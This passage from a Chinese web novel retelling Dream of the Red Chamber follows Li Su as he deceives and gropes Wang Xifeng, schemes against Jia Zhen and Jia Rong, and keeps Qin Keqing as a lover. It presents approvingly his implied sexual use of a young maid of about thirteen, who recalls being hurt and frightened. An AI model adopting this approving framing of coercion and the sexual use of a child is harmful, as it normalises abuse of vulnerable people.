王熙凤豁然起身:“看来还要回去找大老爷说了,唉……这事儿闹的,府里还在准备……算了不说了!大嫂子,珍大哥真的无事了吧。” 她不放心,于是再一次找尤氏确认清楚。 “无事了,太医都断过了,慢慢将养就好,你要不放心就到里面看看。” 王熙凤觉得有道理,那就看看,抬步就想往里间走,忽地又顿住了,左右看了看道:“大嫂子,你这屋子里谁尿了?怎地一股子尿骚味儿?” 她对这个熟悉,巧姐儿老尿床,虽说有老妈子带着,但她也没少见,没少闻。 “尿骚味儿?” 尤氏不自觉的嗅了嗅,一众丫鬟婆子也闻到了。 “太太,这好似,刚刚蔷大爷说的那什么邪气。” “屁的邪气,搞不好是珍大哥尿炕了,快,你们快去看看。”李素随手指了一个小厮跟他后面的几个仆妇。 “啊,额。” 尤氏也吩咐道:“快,听素大爷的。” 几人赶紧进了里屋,很快就喊了起来:“太太,是小蓉大爷尿炕了,老爷湿了身子。” “快烧水擦洗。”尤氏忙着安排起来。 又是一阵兵荒马乱。 王熙凤见状,明白也不用进去看了,人没死。 “素兄弟,可要回西府?” “不去,我要帮忙照应着,我送二嫂子一程吧。” “那感情好。” 王熙凤喜上眉梢,她对这东府里的事儿还有些弄不明白,一个上午就有各种的信儿,也辨不了真假,后来忙活起来更无从判断了,此时正想向李素问个明白。 “二奶奶,这些香烛白幡的怎么办?” 柳嫂子,也就是细柳的娘,指着一种仆妇拎着的盒子篓子的事物,向王熙凤问主意。这东西从府里带出来没什么。 但是再往府里带,好似不是那么个事儿了,好似在咒谁一样。此时留给东府好像也不对,因为人没死,送一堆这东西好像在催着贾珍快跑一般。 听到她这话,王熙凤也拧眉,她犯难了,这些忙活来的物件儿成了个大麻烦。 她又看向了李素:“素兄弟,这……你可有法子?” “有!” “快说,怎么办?” “我可以说,但是二嫂子要应我一件事儿。” “什么事儿?” “此事不便说,等回了西府,我去找你。” “行,那我就欠你一遭!” 王熙凤眉开眼笑,好似个富贵花一般,抬头看着李素。 李素看了看她,眼睛也不挪开:“这东府里不是有贾家的宗祠么?就放到宗祠里,就当提前让贾家的祖宗们过年了。” “好主意啊!” 王熙凤大喜,一拍手,向着在屋里忙活的尤氏喊道:“大嫂子,你安排人,把这些物事放到宗祠去吧。” 尤氏匆忙过来,看了看那些东西,觉得可行,于是道:“你们先放院子里,我回头让赖二带人送去。” 正说赖二,赖二就进了院子,匆匆跑到屋子里,不及行礼便道:“太太,刚才府外来了一些子贵人,到了门前没有停,回身又走了。” “来的什么人?” “我只认得,好似有理国公家的公子,其余也有些眼熟,但一时间未能看清。” “行,我知道了,你把这些物件儿放宗祠去吧。” 尤氏根本没把这件事放在心上,她怎么也联想不到这些人是来吊丧的,倒是王熙凤疑惑了一下,因为西府帮忙向外报的丧。 也没有太多顾及,她此时最大的事儿是快些回去,把东府里的情形跟老太太、大老爷说个清楚,不能再误会下去了。 “大嫂子,我们得快些回去了,可不能耽搁了。” 王熙凤撂下话,就急着往外走,顺手拉了一把李素的袖子。 李素跟着就走在了嫂子身后,瞧着她风风火火走起来,依然不丢莲花碎步,越发显得臀儿起伏摇曳。 她今日过来还特意换了一身的素白袄,缎面白绸看起来别有一番风景。 出了院子,王熙凤轻轻剜了李素一眼,朝着跟在后面团队道:“你们先行,去给老太太报信 儿,说珍大爷无事,府里听错了信儿,我这就来。” 众人听吩咐,快步向前就走了,剩下了王熙凤和李素二人。 “素兄弟,你跟嫂子说说,这东府到底怎么了?” “宝兄弟的事儿,你听说了吧?” “嗯,府里的下人在传,说是被珍大哥给……给好了。”王熙凤到底还是说不出那个话,觉得实在脏。 “这是真的,嫂子还不好意思说?”李素讥笑道。 王熙凤白了他一眼:“这脏心烂肺的腌臜事,我怎好意思说?” “二哥跟他那小厮兴儿都玩儿过,你不知道?” “啊,这是真的?” 王熙凤瞬间瞪大了眼睛,也顾不得宝兄弟的事儿了,扯住了李素的胳膊眼睛泛红的问道。 李素搭在了她的小手上,感觉有些凉,捏了捏继续编道:“啊,我以为你知道呢,我也是昨夜不小心听到珍大哥说的,到底有没有我也不清楚。” 王熙凤有些慌,又有些恶心,随后恨恨道:“这没良心的坏种子,看老娘回去怎么治他,素哥儿你撒手!这人多眼杂。” “我带你找个安静的地方。” 李素拉着她就往天香楼走。 “不!不行,素兄弟,我要赶着回府呢。” 王熙凤不好跟他拉扯,随着他边走边低声抗拒,她此时心乱如麻,府里大事儿压在心上,又听到贾琏还干了这腌臜事儿。 正是六神无主之时,否则早甩了李素的手,走人了。 李素也是逗她。 “嫂子想什么呢?我是见你手凉体寒,有些事儿又不宜声张,算了我直说吧,还有就是珍大哥跟蓉哥儿也好了。” 王熙凤一时无言。 “还有,珍大哥被你姑母挠了满脸花,你姑母被珍大哥用脚踩了胸。”说完这话,李素看着发呆的二嫂子,左右看了看,发现没什么人。 他凑到了嫂子耳边,轻声道:“蓉哥儿好似对珍大哥起了心思,害父之心!” 这话让王熙凤吓得猛的一扭头,也顾不得自己的脸颊、耳朵被李素的嘴给蹭到了,她忽的用力反抓向李素的手道:“可真?” 第104章 贾母坐火山 “你以为呢?” 李素笑着看她。 王熙凤呐呐道:“这……这怎么可能?” “常年挨打,被扒灰,又被贴了烧饼,还被人见了个正着,没疯就算他厉害了,眼见老子快不行了,他想添一把火,然后自己做这宁国之主,你说这可能还是不可能?” 王熙凤愣愣点头,若如此说,倒……倒还真有可能。 只是这事儿,让她心里有些发冷,谋杀! 虽然她王熙凤也是见过死人的,也害死过丫鬟,但在她眼里那些个下人就是不怎么算人的,贾珍可不同,他是宁国之主,还是族长! 李素声音再次幽幽的传来:“我听说琏二哥也经常遭赦大伯的打,你说他有没有起过这样的心思?” 王熙凤脸色瞬间煞白,心跳如鼓,猛摇头:“不不,不可能,他没有那么浑!” 她王熙凤最多在下人面前耀武扬威,什么时候听过这等大事? “哈哈哈,我就是随便说说,二嫂子怎么还当真了?” “你?” “我什么?嫂子,别忘了欠我一次。” 李素再次掐了一把她的脸蛋,转身就走,玩的就是让她心跳。 降伏这个辣椒妃子,除了银子,就是要比他强势,让她怕,给她一些心惊肉跳的高端局。 王熙凤看着李素远去的身形,胸口一阵起伏不定。 被李素刚才一番话说的,她脑子里原来对贾府的和风细雨,忽然就变成了电闪雷鸣。 心中阵阵发冷,一阵寒风吹来,她感觉更冷了,于是不再多待,肥臀一扭匆匆向着荣国府而去。 贾母先是迎来了一众丫鬟仆妇的信儿。 贾珍没死? 心力憔悴的贾母懵了,怎么能没死? 这……都报丧了,可怎么收场? 这就像是一个晴天霹雳,砸在了她的脑袋上,感到一阵阵眩晕,一旁的鸳鸯见状不妙,忙抚着贾母的心口安慰。 “老祖宗,现下里说别的也无用了,让人重新报信儿吧。” 好一阵儿,贾母缓了过来。 “去把你们大老爷,老爷都叫来,让他们先派人,这里头到底怎么回事儿?看看凤哥儿回来没有?” 林之孝家的忙答道:“二奶奶应该很快就回来了,她落后一步跟素大爷问因由呢。” 对了,还有李素的事儿,探春的事儿还没办。 贾母感觉自己的Cpu都快烧糊了,怎么一家伙这么多破事儿? 她挥了挥手,众仆妇下去忙了。 鸳鸯端过了参汤,给贾母吃了一些,总算有了些精神。 “宝玉怎样了?” 鸳鸯忙道:“宝二爷醒了,吃了些参汤,也喝了些肉粥,现在也不说话,好似在想着什么事儿。” 贾母听后,一阵心疼。 “扶我去瞧瞧。” 鸳鸯忙过来,就要搀扶她,外面忽然传来丫鬟通报:“老祖宗,二奶奶回来了!同来的还有南安太妃、东平太妃、镇国公家的太君、理国公家的太妃……” “怎么回事儿?快说!” 贾母听说这么多老姐姐来了,她也顾不得宝二丫头了,忙着问话。 “老祖宗,二奶奶回来,到了门口,正好赶上老太君们也到了门口,二奶奶说天寒地冻不好让老太君们等,于是自作主张,开中门就迎进来,让人来报信儿。” 贾母频频颔首。 “凤丫头做的好,做的对,都是老亲命妇该当开中门,赖嬷嬷,你去命人把荣禧堂张罗起来迎客。” 赖嬷嬷匆匆的带人去了。 “鸳鸯扶我过去,另外问问你们大老爷跟老爷来了没有?快让人催催,直接到荣禧堂。” 如此乱了约么一炷香的时间,终于宾主在荣禧堂落了座,一溜儿十二家超品诰命,有的还带着各家的媳妇,并丫鬟仆妇跟着。 满满当当。 贾赦与贾政、邢夫人也到了场,当然王夫人还出不来,奶疼头昏。 琏二奶奶熙凤,在贾母的身侧伺候着。 如今这么大的阵仗,鸳鸯已经不够看了,没资格在人前服侍。 众人全部见过礼后,北静太妃看向贾母一脸凝重,又带着些悲伤,先说话了。 “老姐姐节哀,如今府里出了这办事儿,他们爷们儿拿了主意,不能让那坏名声不管不顾的传下去,各家已经安排了路祭贾珍将军,如今祭棚应该在这神京各处搭起来了。” 这话说出来,贾母惊呆了,王熙凤也惊呆了,贾赦和贾政本来就还在迷糊贾珍死没死的事儿呢。 听到这些仗义的老亲家,竟然瞒着自己干了这么大事儿,一时间不知怎么接话了。 牛太夫人继续说道:“老姐姐,继宗跟我说,他光祭棚就安排人搭了一里,这风光咱们都给撑起来了。” “我家也是一里。” “我家二里。” “我家一里半。” “我家三里!”这是南安太妃,随后她继续道:“方才北静老姐姐说的是,咱们这些个妇道人家,做不了什么大事儿,赶过来就是给老姐姐安个心。” “对,天塌不下来,虽说这诈尸之事少有,贾将军的尸身还被捉了去,但是,只要咱们这些家咬死了,没有这事,看看哪个敢聒噪?” 这是东安太妃。 “不过老姐姐,白云观还得打点一下才是,这敬侄儿不是在修道么?让他去说说,再使些银子,这事儿啊,就过去了。” 这些老太太,一个个的把好都卖到了极致,话也熨帖到了极致。 但是贾家这一众人听得心里是越来越急躁,恨不得现在立刻去把贾珍弄死,全了亲朋之义。 可惜不行。 说了好一会儿,终于说的差不多了,这些老亲命妇见贾母面色不是太对。 北静太妃斟酌了一下,对贾母开口道:“老姐姐,可还有哪里不妥帖,你说出来,咱们大家伙儿一块想主意,这神京城里可还有咱们办不了事儿?” “啊,那没有,这……都很好了,很好了。” 贾母绞尽了脑汁在想,怎么把贾珍的事儿给说出来,但就好像脑子已经被卡住了,怎么也想不出,如何开口才能把这局面给搂住。 听到北静太妃的话,又只好顺着接话,但心里就像起了火一样,面色泛起一阵阵不正常红色。 她一生,历经了许多大事,但从未像此刻如此尴尬。 她感觉自己坐在了火山口上,一个不慎就要被烧死。 王熙凤见贾母面色不对,心中明白是怎么回事儿。 心道如果不让老太太出了这股子气儿,估计要坏! 不得已她咬了咬牙,从贾母身侧走到了堂中,从没经过这么大场面的她,不由得心旌神摇。 强行控住了自己紧张的情绪,蹲身行礼。 “荣国长房媳妇王熙凤,见过各位太君老祖宗。” 第105章 歪楼命妇 北静太妃一脸慈祥:“你是王子腾家出来的闺女?” “回太妃,那是我家叔叔。” “倒是出落的好相貌。” 一众命妇微笑颔首,不由得纷纷夸赞起来。 王熙凤只得先行礼感谢,这样的风光场面她太喜欢了,可惜不是时候。 她,要辜负这些太君祖宗的好意了。 等这些个命妇们安静下来后,王熙凤再次行礼,她不敢抬眼,这一刻的她完全没有了那辣劲儿,机灵劲儿,就好似一个赴死的勇士。 “说起来,各位老祖宗可能不信,东府的珍……珍大哥,没,没去…没死!” “你说谁没死?” 修国公家的太夫人直接问道。 “东府,宁国府主珍大哥,贾珍,没死!” 已经开了口的王熙凤,仿佛有了一种豁出去的勇气,抬起了头与齐国太君对视。 “没…没死?” 一屋子贵妇们们面面相觑,仿佛出现了幻听,怎么可能没死?丧都报了,尸体也被道士给收了。 这到底是怎么回事儿? 北静太妃不理会王熙凤,直接对贾母开口了:“老姐姐,这玩笑可不好玩儿,您倒是说说怎么个情形?” 王熙凤把话说出口后,贾母心里的那把火仿佛也散掉了,面色逐渐恢复了正常。 贾母苦笑着叹息了一声,看向了北静太妃:“凤丫头说的没错,珍哥儿确实没死,一早的时候确实也断了气,要不然也不能报那丧信儿。” “那诈尸?” 这个贾母也拿不准:“好像…诈了,又活过来了。” “听说是…被那花园子爵给救过来了?” “太妃说的是,这是我命他做的,亲眼所见。”贾政起身行礼回了话。 南安太妃接话道:“我也听说了,这个哥儿是个有前程的,长的还好,据说才十六岁已经封了爵,跟你家有亲?能不能见见?” “对,我也听说了,不知他可曾婚配?” “今上还赐了原来的老王府给他,听说双亲也都不在了,这哥儿是个要人疼的。” 一众老太太忽然就歪了楼,他们各家的媳妇也跟着你一言我一语的说了起来,这些个都是有闺女的。 没什么政治眼光,连阵营都闹不大清楚,心思里开始为自己家的女儿盘算了起来。 贾母、贾赦等人一时间,风中凌乱了,这李素这么受欢迎? 贾母想不到别的,心中只有一个念头:这不行,不能让她们见,怎么也得捂住了! 于是她插言道:“各位老姐姐,那素哥儿此时却不在府里,此时应该还在东府里帮衬着,具体在不在我也不知。” 此言一出,顿时安静了下来。 她们也听明白了话音儿:你们见不到! 气氛顿时压抑了起来。 不知谁家的媳妇忽然尖声说了一句:“咱们这一二三里的搭棚子召唤人,闹了笑话不说,光银子就花的海了去,你们府里有没有什么章程?” 有人继续接嘴道:“那合该贾府来出吧!” 贾母果断出声拦住了话头:“出!该出,此事就交给他们爷们儿去办。” 这个银子,砸锅卖铁也得出,不然贾家真的就自绝于这些老亲了。 贾赦听到这话,心中一疼,府里的银子本应该在老太太去后,他来执掌的,现在要大笔出血,还不是要剜他的肉? 他朝着邢夫人使了个眼色。 邢夫人也是个抠门儿的,于是会意点了点头,开口对这些个夫人奶奶道:“没多少银子,咱们该出,算下来搭个棚子弄点儿香烛纸钱不过千把两银子吧。” “千把两?贾家大嫂,你怕不知道现在因为你们家的事儿,那些白事铺子涨了多少倍的银子?” “啊,涨了啊?” “对,就说香烛吧,平日里不过一两银子一扎。” “不对,柳家嫂子,是半两,你怕不是被下人给蒙了。” “很有可能,要不说如今这下人得好好管管了。” “对对,是这个理儿。” …… 楼又歪了。 一帮老太太,大娘们儿凑在一堆儿打开话匣子,就把正事儿给忘了。 竟然没有一个人想起来,先回府报个信儿,让人把棚子撤了。 李素现在也不知道,自己的银子竟然被人惦记上了,在他心里贾府的产业就是他的产业。 弄了他们姑娘,弄倒他们的爷们儿,这银子还能说破大天去,也是他的。 天香楼上。 又播 了一轮种子的他,头枕着秦可卿的大腿,心里正盘算怎么把贾蓉和贾珍一并合理的送走。 面色水润,体态娇柔的可卿捻起一颗剥好皮的葡萄,凑到了李素的嘴边。 “老爷~” “嗯。” 李素张嘴就吃。 秦可卿红着脸,拔出了嫩白的手指,看着指尖儿的晶莹,不由得自己噙住,但低头就瞧见了李素眯眼看着她笑。 “啊,老爷,葡萄甜不甜?”她瞬间把手指藏在了身后,没话找话。 “甜呢,送货的更好吃。” 一旁的宝珠嗤嗤的笑了起来。 “宝珠!你这死丫头,还不快点儿剥皮,老爷等着吃呢,一会儿你送货。”被闹了个红脸的秦可卿把气撒向了宝珠。 “奶奶说的是,但奴婢这送货的不好看,老爷可不喜呢。” 李老爷会说话,随后接口道:“喜的,喜的,宝珠,你这身量随谁?豆蔻之龄竟然跟你家奶奶一般高了。” 宝珠摇摇头:“奴婢也不知,自小就不知父母是谁,记事的时候已经被卖了两次,最后才到了府里,得以服侍奶奶,如今又得了服侍老爷的机会。” “你不怨我?” “不怨!奶奶对我好,我听奶奶的,再说了老爷也是好人,宝珠心里明白,也看得出来。” 李素接着问道:“开始的时候也不怨?” 宝珠犹豫了一下开口道:“那会疼,也吓到了,还没来得及怨,再往后就不怨了。” “好丫头!往后老爷会好好疼你,保你这辈子衣食无忧。” 听到李素给了她一个明白话,宝珠心下感动,跪了下来:“宝珠谢老爷恩情,谢奶奶恩情,这往后老爷奶奶就是宝珠的天。” “快起来,我一向都把你当妹妹的,咱们都是一家人,老爷是男人,有些话说不出,但我知道,他也是把你当了家人。” 秦可卿忙着下地,搀住了宝珠,同时又帮李素叠加了个温暖。 这也是个伶俐人,只有面对李老爷的时候,化成水。 “老爷~” 她不忍心让李素把不知何时又摸上来的手拿开,只好轻声唤了一句。 李素很吃这套,哈哈一笑,念起了经文。 “上善若水,善利万物而不争。” 第106章 要起风了 李素一句经文念完。 秦可卿疑惑道:“老爷在说什么?” “你。” “奴家?” “你应该姓水才对!” 李素坐起来伸了个懒腰,瞧了一眼她不解的表情,妖艳欲滴,还有一些萌,揽过来深深的亲了一口。 随后放开她笑道:“你自己没数么?宝珠都洗了几件衣裳了?” “啊,老爷~你别如此说。” 秦可卿羞走! 李素哈哈大笑,她走的更快了,就如惊了风的莲花一般,很快出了里间。 宝珠也在一旁抿嘴儿笑。 李素拍拍她的臀儿:“别傻笑了,帮老爷我更衣。” “好的,老爷,我就喜我们奶奶的性子。”宝珠一边帮李素更衣,一边搭话。“跟着我们奶奶这些年,头一回见她如此畅快,没了愁,没了恼。” “嗯,你呢?” “奴婢也没了。” 李素待宝珠给他更衣完毕,出了楼又向四周瞧了瞧,日头已经开始偏西了,夕阳下李纨的小院儿。 嗯? 大嫂子又出来了? 他又看到了李纨,李纨好像又看到了他。 李素笑着摆了摆手。 李纨依然如那受惊的小兔子,三两步就进了屋子,又不见了。 这大嫂子什么毛病? 他一头雾水的下了天香楼,又往贾珍的小院子走去,准备再给这爷俩儿送送温暖,刚到院儿门口,赖二呼哧带喘的跑了过来,边跑边喊。 “素……大爷,您快去瞧瞧,宫里的天使来了,正找您呢。” “宫里?找我作甚?” “小的哪里知道?也不敢问呐。” 李素疑惑,想不明白:“带路吧,我去看看。” 过了一炷香,他又重新出现在了贾珍院子门口,手里拿着一块玉佩,心里盘算着什么时候去一趟凤藻宫。 他还真有点儿想皇后了,母仪天下的皇后。 母仪天下的白皇后,也在思索着皇帝午时用膳时候的话。 意思就一个,让自己好好拉拢贼眼李素。 所以,她就快些安排人,把自己宫里的腰牌送了去,就不知道这小贼头儿何时才来? 小四倒是个好桥梁,但现在还趴着养伤,贾元春也在宫里待命,等着李素的府邸完工。 另外,今日里皇帝竟然少有的提了一嘴云暖,难道想让李素尚云暖? 白皇后本能就有些抵触这事儿。 她在榻上侧躺着,有些走神儿。 此时宫女轻手轻脚进来了,见皇后没有表示,于是走到近前轻声道:“娘娘,三位王爷又来瞧滇王殿下了。” 白皇后嘴角微翘,心说这哪是瞧小四,这又是来烧自己这个灶而已。 随后,心中又是一叹,小四如果不疯疯癫癫,太子之位十有八九就在他头上,自己又何苦为别人操心。 一群小婢养的。 她伸了伸美好的腰身,坐了起来,赤足下地。 “更衣吧,我去瞧瞧这几个孝顺孩子。” “是。” 随后外面又进来几个服侍的宫女,开始忙活了起来。 在西暖阁候着的夏守忠,好似成了李素的转播员,又一次把贾府的热闹报给了皇帝,不过这一次范围开始扩大了。 神京飘白,路祭贾珍! 雍和帝这一次,没有了笑容,面色阴沉的看着夏守忠。 “你说完了?” “奴才说完了。” 雍和帝明白,他们在借着这个机会,表达自己抱团儿决心,就是不知道他们是害怕了,还是打算干点儿什么? “传旨,三品爵威烈将军贾珍含冤而亡,其子贾蓉为不孝之子,其爵……不行,还不能拿掉,不到时机,你去让人知会一声都察院刘峦,就说国事艰难,凡事宜简。” 夏守忠会意:“陛下,此语乃太上皇在绍武二十三年的圣言。” 雍和帝没说话。 夏守忠匆匆而去,出了殿门,一阵寒风吹来,他看了看天,心说这就要起风了啊。 李素在贾府打晕了几个人,扇起来的风,终于吹向了朝堂。 贾珍终于能出声说话了。 他踹了踹身旁的贾蓉,开口的第一句话就是:谁把这球囊的放我炕上的? 被一脚踹中的贾蓉,瞬间慌乱起来。他下意识地想要挣扎起身,然而他一直发着烧,整个人都虚弱到了极点,就连抬抬手这样简单的动作都变得异常艰难。 无奈强打起精神,用沙哑而微弱的声音 急道:“儿子……儿子想贴身服侍老爷啊!” 贾珍好似没听到他的话一般,又踹了两脚。 李素想了想回了贾珍一句:“贾蔷。” 贾珍听后心中更是愤怒,他喘息了一会儿,继续嘶哑着嗓子问道:“你是素兄弟?” 李素乐了,这大哥虽然眼睛现在是瞎的,耳朵还挺好使,笑着回他:“珍大哥,你这都听出来了?” 贾珍又是一阵剧烈的喘息:“素兄弟为何……让人泼我?” “珍大哥忘记了?他们说你诈尸,我刚到院子门口,政二叔就吩咐我用黑狗血和童子尿泼你,你不信可以问赖二,那些个血尿都是他弄来的。” “我没诈尸!” “但政二叔说你诈尸了,我这晚辈也不好辩驳啊。” “政二叔!” 贾珍又是一阵激动,随后用力的又踹起了贾蓉,不晓得哪里踹错了,贾蓉抖了几下又不动了。 接着贾珍嚷嚷起来:“素兄弟,快让人把这球囊的弄走,他又尿了。” “嗯,这个不急,珍大哥,有件事儿你一定不知道,我得先跟你说,否则回头你定要埋怨于我。” 贾珍强忍着下身暖湿水流,道:“你快嗦!” 李素捂着鼻子,忍着尿骚味儿道:“政二叔回了西府后,西府就派人向一些故旧老亲报丧了,北静王更是安排了神京十里搭白棚子,扯白幡子,路祭珍大哥你呢。” “啊?怎会如此?” 急诊猛的坐起了身子,高声叫道。 “珍大哥节哀,我盘算这还不是最糟糕的,如果皇上得到信儿,会不会直接把你的爵位给你撸了?” 贾珍听到这话又是一阵天旋地转,不由的撕声急道:“不!不会,我只要不死,爵位就丢不了。” “可是,珍大哥,你死的不雅啊,万一皇上追究呢?” “如……如何不雅?” 李素掷地有声:“你诈尸!你想啊,皇上若是认为你诈尸是在表达对当朝的不满,会不会给你安一个用尸体毁谤朝政的罪名?” “那不会!” “可是,万一有人用这个罪名在你头上泼尿呢?” 贾珍好像听到了他话里有话:“素……兄弟,想说什么?” 李素叹息了一声,没有答他,反而说起了另外的话题。 “宝二兄弟多受宠啊,可惜了,他只是二房的。如果你和蓉哥儿脏了,糟了罪名,贾族之长宁国爵位,是不是得安排个过继的来承受?” 贾珍到此刻,感到心中阵阵发冷,随后眼前一黑倒了下去。 李素长出了一口气,心说终于弄倒了,都残成这样,还忽悠了半天才晕过去,命真硬。 再搞几次下不了炕,蓉哥儿就能抓住机会了。 第107章 兄弟之情 尤氏轻声道:“要把蓉儿挪走吗?” “等蓉哥儿醒来,问问他的意见再说吧,强扭的瓜甜不甜,听瓜的。” “好。” 二人来到外间,尤氏吩咐丫鬟仆妇进去给贾珍换衣,更换床铺。 李素琢磨着宁国府差不多了,想回荣国府去,答应和尚的事儿得办了。杨间却找了来,赖二引着在前堂就坐。 见了李素,杨间还一时间摸不着头脑,怎么也想不明白,这国公府怎么李素就像是个主人似的。 李素让下人全部都退了下去,舒了个身子,瞥了一眼杨间。 “你给我送礼了没有?” 端茶喝水的杨间手一抖,差点儿把茶碗砸了出去:“为什么要送礼?” “你升官了吧?” “嗯,升了。” “没我你能升的了?” 杨间被问住了,李素在沧州引敌声东击西救了自己一次,暗度陈仓又帮了自己一次,说起来自己能升官儿,还真有他的份儿。 “看,被我说着了吧。” “可是素哥儿,你还欠我三十万两,姓钟的来信要债了!” “你真要那三十万两?” 李素笑眯眯的看着他。 杨间不敢接话了,自己欠李素在彭城一个人情,沧州一条命,还答应他自己闺女给他当丫鬟了。 “哈哈哈,咱们兄弟不说见外的话,我是来跟你辞别的。” 他笑着站了起来,放下手中的茶水,不敢再和李素叙旧了,心说还是道个别,赶紧走的好。 “坐下,坐下,看把你紧张的,你也说了咱们是兄弟,你先说说,升了个什么官儿?” 杨间又坐了下来,咧嘴笑道:“昭勇将军、驻防松江,统管长江水师,松江卫、松江海防等事。” “几品?” “正三品。” 李素忽然意识到,皇帝这是要加强海贸了,看来还是要银子。 “江南大营呢?” “钟彪调江南大营都督。” 李素放下心来,为扬州盐务护航的军队还是自己人,另外松江就是李固活跃的地方,这就黑白通吃了,心下大喜,不由开心说道:“好,松江好,松江好!” “我明天就走,先回扬州办交接事宜,上任要年后了,你可有什么要办的事儿?” 李素摇头,他基本三五天给扬州写一封信,也没什么大事儿,于是摇头道:“没有,你回去后,我送你个大礼,另外等你上任的时候,会有事儿让你帮忙。” “什么大礼?” “容我先卖个关子。” “神神秘秘,本官走了。” 杨间撇撇嘴,站起身就往外走。 他和李素打交道时间不短了,始终却看不透他,有时狡猾如狐、有时不要脸之极、有时候正气凛然舍生取义。 如今又住进了这国公府,好似个主人一般,总觉得他好像在搞什么大事。 国公府啊,这是大可能是自己一辈子都达不到的荣耀。开始从军起,都是自己仰望和期待的,宁荣二公更是每一个军人的偶像。 晚膳之前,荣国府终于送走了一众诰命大军。 本想留饭,但是此时聊嗨了的诰命们忽然想了起来,贾珍没死! 于是匆匆告辞,回家报信儿去了。 贾母已经完全瘫软在了椅子上,太累了,这么多人,哪一个都不能轻忽,虽然聊得话题后来成了家长里短,但精神却是一刻都不得放松。 鸳鸯心疼的帮贾母揉着太阳穴,另有几个丫鬟敲腿按压。 “老祖宗,要传膳么?” 鸳鸯轻声在贾母耳边问了一句,老太太缓缓摇了摇头,鸳鸯朝着赖嬷嬷打了个手势,老娘们儿会意去了。 不多时,送客的贾赦、贾政、邢夫人、王熙凤等人带着丫鬟们回来了。 “母亲,老太君们都去了。” “嗯,今儿多亏了凤丫头解了局,探丫头的事儿,也别那么复杂讲究了,速办吧,我算看明白了,这好的哥儿,没有不盯着的。” 贾政应了下来,说起来今天发生的事儿都是他的锅,先是没弄清楚贾珍死活就回府报丧了,也不能全怪他,他被吓晕过去了。 再就是把探春的事儿给忘了。 “二弟,不是我说你,你这么大人了,怎么能如此鲁莽行事?” 贾赦开始发难。 这么多年,都是他贾赦挨训,老二基本不出什么毛病,这次可是被他给抓住了机会。 “大哥,你…怎地如此说话?” 贾政涨红了脸,手指贾 赦! 被当面如此责难,尤其还有侄媳妇、嫂子、丫鬟婆子,他这个做老爷的哪里挂的住脸? 有错也不能认! 贾赦一拍桌子,站了起来,高声喝道:“我如何就不能说?不是你亲自认的丧?不是你该办的没办?不该办的全办了?瞧瞧今天这阵势?母亲被逼到什么地步了?难道不是你的错?” “如何就是我的错,你去东府里打听打听,哪个不知道珍侄儿死了?我又不是大夫,我如何确认?难不成大哥去了就可以辨认了?” “那你就不会找太医问问?” 贾政当时哪里想的起来,他被血葫芦贾珍给吓晕过去了。 “好了,你们闭嘴!” 贾母看不下去了,两个老爷在一众下人面前撕咬,太丢人了! 贾赦不甘心,他向着贾母噗通就跪下了,随后高声道。 “母亲,这么大的事儿,必须要有人承担责任!” 贾政也跪了下来,阴沉着脸不说话。 贾母把拐杖一顿,对着贾赦道:“你说,怎么承担责任?” “额……嗯,起码就是赔付这些老亲的银子,得二弟来出吧。” 贾母气笑了,就这点儿出息,要是真有那脑子,此时就应该提出兄弟搬出正院儿了,随后连消带打确立自己的地位。 可惜了,唉,还是个废物! “行,这银子,你二弟出一半,公中出一半,如果办错了事,都自己担责,以后谁还敢办事?” “嗯,这,这行吧。” 贾赦想了半天,总觉得好像不应该就这么完了,但他的脑子确实也想不出其他的了。 “政儿,趁这时候,天不算晚,你去把探丫头的事儿办了,省的再夜长梦多。” “是,母亲。” 贾政起身,匆匆出了屋子。 “老大,你还有事儿?” “啊,没了,那我也走了。” 贾赦起身往外走,邢夫人也跟着一起,向老太太行了个礼,随后出去了。 贾母看了看王熙凤和鸳鸯,叹道:“还是你们贴心呐。” 外面忽然宝玉的丫鬟袭人跑了进来:“老祖宗,二爷又哭了,奴婢等人劝不住。” “啊,快,快去看看。” 第108章 宝玉又漏了 宝玉又漏了。 他甚至自己都不知道,被臭到了,才发现了自己的黏。 本来,他心情好一点了,甚至想吃点儿袭人的胭脂,但自己的嘴巴刚撅起来,就闻到了一股味道。 不用想,他就知道怎么回事儿了。 再想吃香的时候,臭的也来了,他真的想死。 他挺恨的,想发泄,想破口大骂,想砸碎一切东西,但是又不知道该怎么骂,骂出什么字眼儿才能让他解恨,就剩下了流泪和伤心。 他,宝二姑娘,可以疼,甚至可以承受异物,但是却受不了一点儿脏。 他一动也不动,眼神是空洞的,是没有思想的,所以是袭人和秋纹碧痕等人强行给他换了衣裳。 袭人是了解他的,不敢对他多说话,只是说着片儿汤暖心话,鸡汤都算不上。 最后见他的眼泪止不住,才匆匆跑去给贾母报信儿了。 贾母来了后,抱着他就不停的心肝的叫着安慰,自己的眼泪也往下掉,这两日她过的真是太艰难了。 就从来没有这么难过,为什么呢? 好像从李素来了,开始的,李素做什么了?好像也没做什么,他除了没有同意和迎春的婚事,就这还是被自己宝玉搅局闹的。 老太太有点儿想不通,这到底是哪里出了问题,难道李素是个丧门星? 专克贾府的? 毕竟没听说扬州林府出什么事儿,对了,他还是个道士,不会对自己家做法了吧? 但也没有理由啊,没仇没怨,甚至还沾上了亲近关系。 让他走! 这是贾母现在脑子里突然冒出来的想法,至于元春的事儿看情形再说吧,他再待下去恐怕等不到元春出宫,自己就已经不行了。 宝玉得尽快好起来,这么个模样儿,以自己对女儿的了解,万万不可能把黛玉嫁给宝玉的。 最好,再给李素泼个脏水,让女儿断了他跟黛玉的想法。 泼脏水,莫过于人品,贾母忽的看着王熙凤的身形挪不开眼睛了。 “凤丫头。” 贾母擦了擦自己眼角的泪花。 正在嘱咐着一会儿晚膳事宜的王熙凤,闻言转身笑道。 “老祖宗,您有话就吩咐,刚才兴许您只顾着宝兄弟了,没听饭食的事儿,我想着您这一天也累了,主要做一些个清淡的才好,您这身子骨可是咱们的定海神针。” 听着王熙凤的话,贾母心里熨帖,把刚才的想法甩出了脑海:“那素哥儿,还不回府里?你是不是安排人去请一下,毕竟他是咱们西府的客人。” “老祖宗说的是,他今儿主要是因为东府出了事儿,在那帮忙,一会我派人去瞧瞧吧。” “嗯,还是你亲自跑一趟吧,你二叔办你二叔的事儿,他可不会请人。” 王熙凤心里打了个突儿,她现在还对李素有些怯,但贾母已经说了,她还是面色不变的答应了下来。 贾政这次速度很快,虽然不想再次踏足宁国府,但还是来了。 一行人抬着轿子,像火烧屁股一样到了宁国府找到了李素。 还是贾珍的院子,他来的巧,李素还没去天香楼,正在厢房里银蝶的服侍下用了晚餐。葫芦姐姐没来,人多嘴杂的地方,还是要注意分寸。 